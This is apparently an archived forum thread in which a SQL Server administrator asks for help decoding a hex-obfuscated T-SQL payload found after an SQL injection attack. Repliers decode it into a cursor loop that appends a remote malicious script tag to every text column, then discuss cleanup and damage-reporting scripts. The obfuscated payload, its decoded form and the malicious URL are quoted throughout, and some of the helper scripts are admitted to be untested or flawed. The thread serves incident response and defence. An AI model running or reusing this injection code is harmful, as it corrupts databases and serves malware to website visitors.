Urgent: Deciphering binary code executed against the database

[anojjona@aol.com]

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!

Here's the code:

DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x44004 50043004C004100 520045002000400 054002000760061 007200630068006 100720028003200 3500350029002C0 040004300200076 006100720063006 800610072002800 320035003500290 020004400450043 004C00410052004 500200054006100 62006C0065005F0 043007500720073 006F00720020004 300550052005300 4F0052002000460 04F005200200073 0065006C0065006 300740020006100 2E006E0061006D0 065002C0062002E 006E0061006D006 500200066007200 6F006D002000730 0790073006F0062 006A00650063007 400730020006100 2C0073007900730 063006F006C0075 006D006E0073002 000620020007700 680065007200650 0200061002E0069 0064003D0062002 E00690064002000 61006E006400200 061002E00780074 007900700065003 D00270075002700 200061006E00640 02000280062002E 007800740079007 00065003D003900 390020006F00720 0200062002E0078 007400790070006 5003D0033003500 20006F007200200 062002E00780074 007900700065003 D00320033003100 20006F007200200 062002E00780074 007900700065003 D00310036003700 290020004F00500 045004E00200054 00610062006C006 5005F0043007500 720073006F00720 020004600450054 004300480020004 E00450058005400 2000460052004F0 04D002000200054 00610062006C006 5005F0043007500 720073006F00720 0200049004E0054 004F00200040005 4002C0040004300 200057004800490 04C004500280040 004000460045005 400430048005F00 530054004100540 0550053003D0030 002900200042004 500470049004E00 200065007800650 063002800270075 007000640061007 400650020005B00 27002B004000540 02B0027005D0020 007300650074002 0005B0027002B00 400043002B00270 05D003D00720074 00720069006D002 80063006F006E00 760065007200740 028007600610072 006300680061007 2002C005B002700 2B00400043002B0 027005D00290029 002B00270027003 C00730063007200 690070007400200 07300720063003D 006800740074007 0003A002F002F00 7700770077002E0 06B0069006C006C 0077006F0077003 1002E0063006E00 2F0067002E006A0 073003E003C002F 007300630072006 900700074003E00 270027002700290 046004500540043 00480020004E004 500580054002000 460052004F004D0 020002000540061 0062006C0065005 F00430075007200 73006F007200200 049004E0054004F 002000400054002 C00400043002000 45004E004400200 043004C004F0053 004500200054006 10062006C006500 5F0043007500720 073006F00720020 004400450041004 C004C004F004300 410054004500200 05400610062006C 0065005F0043007 500720073006F00 7200
AS NVARCHAR(4000)) ;

EXEC(@S);

[eisaacs@gmail.com]

Re: Urgent: Deciphering binary code executed against the database

Maybe you could SELECT the text of the T-SQL and check the execution
plan to possibly get some hint of what it's doing?

Please let us know what you find. That's pretty odd.

[Matthias Klaey]

Re: Urgent: Deciphering binary code executed against the database

anojjona@aol.co m wrote:

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!
>
Here's the code:
>
DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x44004

[...]

EXEC(@S);

Hi

Copy the code into a query window for a test datadase, then insted of
the EXEC(@S) just simply do a

SELECT @S

and look at the result. Here is what I got:

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_S TATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']=rtrim(convert( varchar,['+@C+']))+''
<script src=http://www.killwow1.cn/g.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

I'm not good enough to understand what this really does, and a lot
will depend on what is coming down the line from the web site.

But I think you got yourself something nasty, and I would ASAP kill
this DB and restore from a clean backup.

HTH
Matthias Kläy
--

https://www.kcc.ch

[eisaacs@gmail.com]

Re: Urgent: Deciphering binary code executed against the database

It looks like they've added <script src=http://www.killwow1.cn/g.js></
scriptto each column in each user defined table.

Your server has obviously been compromised. If your data is
sensitive, take it offline right away until you figure out how they
got in. If you have a website that uses this db, take it down right
away. They're obviously propagating some js onto your website by
adding it in to all your data in a way that is not intended to not
show as visible text on the web itself.

[anojjona@aol.com]

Re: Urgent: Deciphering binary code executed against the database

Great, that's wonderful...Tha nks! So this will be easier than I
thought. What that code does is loop through the tables in the
database and try to insert that nasty URL into each table. (Don't
click on that link, by the way.)

So basically, with each one of these things where they did that, I can
just use that select statement and find out what they did.
Awesome...Thank s!

Matthias Klaey wrote:

anojjona@aol.co m wrote:
>

Hi,
I need to figure out what some code that was maliciously executed
against a database does. However, it's in a very strange format. It
simply declares a variable and sets it equal to a huge binary thing
(seems to be some sort of compiled code) cast as nvarchar. It then
executes this variable.
Is there any way to decipher or decompile this code? Does anyone
have information either on what SQL Server does when it's asked to
execute a binary string (as opposed to regular T-SQL) and any tools
that can be used to disassemble or understand this code?
Thanks!

Here's the code:

DECLARE @S NVARCHAR(4000);
SET
@S=CAST(0x44004

>
[...]
>

EXEC(@S);

>
Hi
>
Copy the code into a query window for a test datadase, then insted of
the EXEC(@S) just simply do a
>
SELECT @S
>
and look at the result. Here is what I got:
>
DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)
>
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_S TATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']=rtrim(convert( varchar,['+@C+']))+''
<script src=http://www.killwow1.cn/g.js></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
>
I'm not good enough to understand what this really does, and a lot
will depend on what is coming down the line from the web site.
>
But I think you got yourself something nasty, and I would ASAP kill
this DB and restore from a clean backup.
>
HTH
Matthias Kl�y
--
www.kcc.ch

[anojjona@aol.com]

Re: Urgent: Deciphering binary code executed against the database

Yes....we've taken it offline and have an idea how they got in. I've
heard in the news that thousands of websites were hit by this. But I
need to understand the extent of the damage. So that's why I'm going
through each of the log entries.

eisa...@gmail.c om wrote:

It looks like they've added <script src=http://www.killwow1.cn/g.js></
scriptto each column in each user defined table.
>
Your server has obviously been compromised. If your data is
sensitive, take it offline right away until you figure out how they
got in. If you have a website that uses this db, take it down right
away. They're obviously propagating some js onto your website by
adding it in to all your data in a way that is not intended to not
show as visible text on the web itself.

[eisaacs@gmail.com]

Re: Urgent: Deciphering binary code executed against the database

You might want to do the same loop this guy used to fix the data by
doing a REPLACE() to replace all instances of that <scriptlink with
and empty string ''.

DECLARE @BAD = '<script src=http://www.killwow1.cn/g.js></script>' --
DONT GO HERE OR CLICK THIS LINK

DECLARE @T varchar(255),@C varchar(255)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_S TATUS=0)
BEGIN
exec('update ['+@T+']
set ['+@C+']= REPLACE('+@C+', ''' + @BAD + ''', '''')'
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor

....I think that's right, but I didn't test it or compile it. That
should remove the bad data.

[eisaacs@gmail.com]

Re: Urgent: Deciphering binary code executed against the database

Yes I didn't test it...

DECLARE @BAD = '<script src=http://www.killwow1.cn/g.js></script>'

should be...

DECLARE @BAD = VARCHAR(200)
SET @BAD = '<script src=http://www.killwow1.cn/g.js></script>' --

....Again...don 't click that link.

[Matthias Klaey]

Re: Urgent: Deciphering binary code executed against the database

anojjona@aol.co m wrote:

Great, that's wonderful...Tha nks! So this will be easier than I
thought. What that code does is loop through the tables in the
database and try to insert that nasty URL into each table. (Don't
click on that link, by the way.)
>
So basically, with each one of these things where they did that, I can
just use that select statement and find out what they did.
Awesome...Thank s!
>

I'm glad I could help. Is it possible to tell us how you got cought
with this piece of sh...?

Greetings, Matthias
--

https://www.kcc.ch

[Eric]

Re: Urgent: Deciphering binary code executed against the database

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack. But I too would like to know.

[anojjona@aol.com]

Re: Urgent: Deciphering binary code executed against the database

On May 12, 9:25 pm, Eric <eisa...@gmail. comwrote:

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack.  But I too would like to know.

Yeah, it seems this may be the attack that everybody's been talking
about it. It just repeats that same code on every vulnerable page.
The odd thing is, it seems that it doesn't run the code against all
pages that accept inputs...just against a few pages that are
vulnerable. That might suggest that websites were attacked long
before without it being caught.

[Pumba]

Re: Urgent: Deciphering binary code executed against the database

On 13 Mai, 03:25, Eric <eisa...@gmail. comwrote:

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack.  But I too would like to know.

Where did you read about this?

Tor

[anojjona@aol.com]

Re: Urgent: Deciphering binary code executed against the database

On May 13, 4:58 am, Pumba <takvi...@gmail .comwrote:

On 13 Mai, 03:25, Eric <eisa...@gmail. comwrote:
>

Based on what I've been hearing about in the news, I'm guessing it was
a SQL Injection attack.  But I too would like to know.

>
Where did you read about this?
>
Tor

http://isc.sans.org/diary.html?storyid=4331

That went to a different website, but with the same script to insert
it. Also:

http://www.us-cert.gov/current/index.html#compromised_websites_hosting_malicious_javascript

Because this attack is so widespread, us-cert.gov is recommending
people disable JavaScript on their browser completely, and follow
these steps:

http://www.us-cert.gov/reading_room/securing_browser/

Some articles claim that disabling JavaScript is not enough...that
some variants of the attack can exploit holes in HTML without even
JavaScript. That sounds a bit far-out to me, but that's what some
experts are saying.

[Eric]

Re: Urgent: Deciphering binary code executed against the database

Here's the news link I found...back from April 23...

http://www.pcpro.co.uk/news/192051/hackers-infect-half-a-million-websites.html

This seems to describe what happened.

[anojjona@aol.com]

Re: Urgent: Deciphering binary code executed against the database

On May 13, 2:18 pm, Eric <eisa...@gmail. comwrote:

Here's the news link I found...back from April 23...
>
http://www.pcpro.co.uk/news/192051/h...a-million-webs...
>
This seems to describe what happened.

Yeah...a lot of sites are affected. And what I've heard is happening
is that when someone hits an infected web page, trojans get installed
on that person's computer, which may not only steal user passwords,
but also send out more attacks using that person's computer. The
places this thing points to are constantly changing.

Now another thing, for those who are interested...th e idea posted
before that one could use the same logic to reverse the damage
apparently won't work. That's because it uses the convert() command
to convert the data to varchar. That does two things: It allows the
script to work on text fields (somehow varchar fails when used in
dynamic SQL within an exec statement); but also, since there is no
field length specified, SQL Server seems to default to 30. So, the
data gets cut off after 30 characters (plus any spaces are trimmed
with the rtrim), and then the malicious code is inserted after that.

Every day or two, more attacks come, perhaps from infected computers,
until the site is stopped or SQL injection holes patched. When that
happens, the old malicious code is replaced with the new (because of
the truncation at 30 characters). But each of these seems to end with
the end-script tag. However, since sometimes the Javascript is there
only to use document.write( ) to put in an iframe, it's possible that
some of these exploits may just insert iframes instead of JavaScript.

(Iframes to websites that have ActiveX controls is perhaps one of the
exploits they were talking about when they said disabling JavaScript
isn't enough?)

By the way, does anyone know if the 30 character thing is standard, or
if it's configurable per installation?

Anyhow, given the data loss, restoring from backup seems to be the
only way.

Here's a little script I wrote to at least get a record of the
damage.

--Do the create table once in the session:
--Create table #report(Tablena me varchar(255), columnname
varchar(255), datatype int, affectedrows int)

DECLARE @BAD varchar(10)
DECLARE @T varchar(255),@C varchar(255),@D int

Set @BAD = '</script>'
DECLARE Table_Cursor1 CURSOR FOR select a.name,b.name,b .xtype
from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167)

delete from #report

OPEN Table_Cursor1
FETCH NEXT FROM Table_Cursor1 INTO @T,@C,@D
WHILE(@@FETCH_S TATUS=0)
BEGIN
exec('Declare @x int;
SELECT @x = COUNT(1)
FROM ['+@T+']
WHERE RIGHT(convert(v archar(4000),['+@C+']),9) = '''+@BAD+''';
if @x 0 begin
INSERT INTO #report select '''+@T+''', '''+@C+''', '''+@D+''',
COUNT(1)
FROM ['+@T+']
WHERE RIGHT(convert(v archar(4000),['+@C+']),9) = '''+@BAD+'''
end;')

FETCH NEXT FROM Table_Cursor1 INTO @T,@C,@D
END CLOSE Table_Cursor1
DEALLOCATE Table_Cursor1

select * from #report